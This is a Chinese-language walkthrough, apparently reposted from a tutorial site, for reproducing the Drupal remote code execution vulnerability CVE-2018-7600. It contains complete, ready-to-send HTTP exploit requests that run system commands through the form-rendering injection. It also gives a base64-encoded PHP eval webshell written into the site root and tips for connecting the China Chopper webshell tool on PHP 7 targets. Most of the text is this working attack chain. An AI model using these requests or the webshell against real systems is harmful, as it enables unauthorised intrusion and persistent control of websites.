一、漏洞描述
drupal是一個(gè)開源PHP管理系統(tǒng),架構(gòu)使用的是php環(huán)境+mysql數(shù)據(jù)庫(kù)的環(huán)境配置。在Drupal 6.x,7.x,8.x系列的版本中,均存在遠(yuǎn)程代碼執(zhí)行漏洞。該漏洞產(chǎn)生的原因在于Drupal對(duì)表單渲染時(shí)未進(jìn)行嚴(yán)格的安全過濾,導(dǎo)致,攻擊者可以利用該漏洞攻擊Drupal系統(tǒng)的網(wǎng)站,執(zhí)行惡意代碼。
二、POC&EXP
首先需要確定目標(biāo)的版本,可以通過訪問目標(biāo)站點(diǎn)的以下兩個(gè)文件去確定(當(dāng)然也可以通過信息搜集識(shí)別站點(diǎn)的cms版本):
http://target_ip:port/core/CHANGELOG.txt
http://target_ip:port/CHANGELOG.txt
當(dāng)目標(biāo)為存在漏洞的版本時(shí),則很可能存在相關(guān)漏洞。先用網(wǎng)上公開的POC去驗(yàn)證,訪問以下地址:
http://target_ip:port/user/register?element_parents=account/mail/%23value&ajax_form=1&_wrapper_format=drupal_ajax
然后抓取該頁(yè)面的數(shù)據(jù)包,并將整個(gè)數(shù)據(jù)包替換為如下內(nèi)容:
POST /user/register?element_parents=account/mail/%23value&ajax_form=1&_wrapper_format=drupal_ajax HTTP/1.1
Host: target_ip:port
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 103
form_id=user_register_form&_drupal_ajax=1&mail[#post_render][]=exec&mail[#type]=markup&mail[#markup]=id
修改其中的HOST參數(shù)為目標(biāo)站點(diǎn)的IP和端口即可。
當(dāng)回顯內(nèi)容出現(xiàn)id命令執(zhí)行的結(jié)果則證明漏洞存在:
接著可以開始寫入webshell。需要注意的是,drupal會(huì)過濾>,因此有出現(xiàn)>的地方都要設(shè)法用別的內(nèi)容代替。
這里先寫好webshell內(nèi)容:<?php eval($_REQUEST[8]) ;?>
進(jìn)行base64編碼:PD9waHAgZXZhbCgkX1JFUVVFU1RbOF0pIDs/Pg==
構(gòu)造命令:echo “PD9waHAgZXZhbCgkX1JFUVVFU1RbOF0pIDs/Pg==” |base64 -d |tee test.php
這里的base64 -d是指將前面的字符串進(jìn)行base64解碼再輸出,而tee則是將結(jié)果輸出并將結(jié)果寫入到指定的文件中。
之后構(gòu)造數(shù)據(jù)包如下:文章來源:http://www.zghlxwxcb.cn/news/detail-431373.html
POST /user/register?element_parents=account/mail/%23value&ajax_form=1&_wrapper_format=drupal_ajax HTTP/1.1
Host: target_ip:port
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 173
form_id=user_register_form&_drupal_ajax=1&mail[#post_render][]=exec&mail[#type]=markup&mail[#markup]=echo “PD9waHAgZXZhbCgkX1JFUVVFU1RbOF0pIDs/Pg==” |base64 -d |tee test.php
該文件寫入后會(huì)出現(xiàn)在網(wǎng)站根目錄下??梢栽谀繕?biāo)的根目錄下訪問該文件并傳參phpinfo();命令讓它執(zhí)行,若成功,則可以使用webshell管理工具連接該文件。
需要注意的是,如果使用中國(guó)菜刀進(jìn)行連接,而目標(biāo)站點(diǎn)如果是php7.x的版本,則會(huì)報(bào)錯(cuò)導(dǎo)致無法連接。此時(shí)應(yīng)修改菜刀的配置,把以下內(nèi)容:array_map("ass"."ert",array("ev"."Al(\"\\\$xx%%3D\\\"Ba"."SE6"."4_dEc"."OdE\\\";@ev"."al(\\\$xx('%s'));\");"));
改成:eval(base64_decode('%s'));
之后即可正常連接。文章來源地址http://www.zghlxwxcb.cn/news/detail-431373.html
到了這里,關(guān)于drupal遠(yuǎn)程代碼執(zhí)行 (CVE-2018-7600)漏洞學(xué)習(xí)與復(fù)現(xiàn)的文章就介紹完了。如果您還想了解更多內(nèi)容,請(qǐng)?jiān)谟疑辖撬阉鱐OY模板網(wǎng)以前的文章或繼續(xù)瀏覽下面的相關(guān)文章,希望大家以后多多支持TOY模板網(wǎng)!